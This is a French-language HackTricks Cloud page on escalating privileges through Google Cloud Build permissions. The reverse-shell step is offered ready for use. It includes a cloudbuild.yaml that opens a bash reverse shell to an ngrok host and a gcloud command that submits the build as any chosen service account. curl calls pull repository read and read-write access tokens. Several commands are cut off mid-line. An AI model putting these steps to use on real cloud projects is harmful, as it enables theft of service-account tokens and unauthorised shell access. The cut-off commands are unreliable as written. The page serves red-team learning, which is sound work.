GCP - Cloudbuild Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
cloudbuild
Pour plus dâinformations sur Cloud Build, consultez :
cloudbuild.builds.create, iam.serviceAccounts.actAs
Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son systĂšme de fichiers par dĂ©faut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer nâimporte quel service account Ă lâintĂ©rieur du projet dans la configuration cloudbuild.
Par consĂ©quent, vous pouvez simplement faire en sorte que la machine exfiltrate vers votre serveur le token ou obtenir un reverse shell Ă lâintĂ©rieur et rĂ©cupĂ©rer le token (le fichier contenant le token peut changer).
Direct exploitation via gcloud CLI
1- Créez cloudbuild.yaml et modifiez-le avec les données de votre listener
Configuration YAML Cloud Build pour reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Téléversez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build :
Soumettre une Cloud Build avec le service account spécifié
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Utilisation de la bibliothĂšque python gcloud
Vous pouvez trouver le script dâexploit original here on GitHub (mais lâemplacement depuis lequel il rĂ©cupĂšre le token nâa pas fonctionnĂ© pour moi). Consultez donc un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour obtenir une reverse shell Ă lâintĂ©rieur de la machine cloudbuild et steal it here (dans le code vous pouvez trouver comment spĂ©cifier dâautres service accounts).
Pour une explication plus approfondie, consultez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Avec cette permission, lâutilisateur peut obtenir le read access token utilisĂ© pour accĂ©der au dĂ©pĂŽt :
Obtenir le read access token pour le dépÎt
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Avec cette permission, lâutilisateur peut obtenir le jeton dâaccĂšs en lecture et Ă©criture utilisĂ© pour accĂ©der au dĂ©pĂŽt:
Obtenir le jeton d'accÚs en lecture et écriture pour le dépÎt
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Avec cette permission, vous pouvez obtenir les repos auxquels la connection a accĂšs :
RĂ©cupĂ©rer les dĂ©pĂŽts pouvant ĂȘtre liĂ©s
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

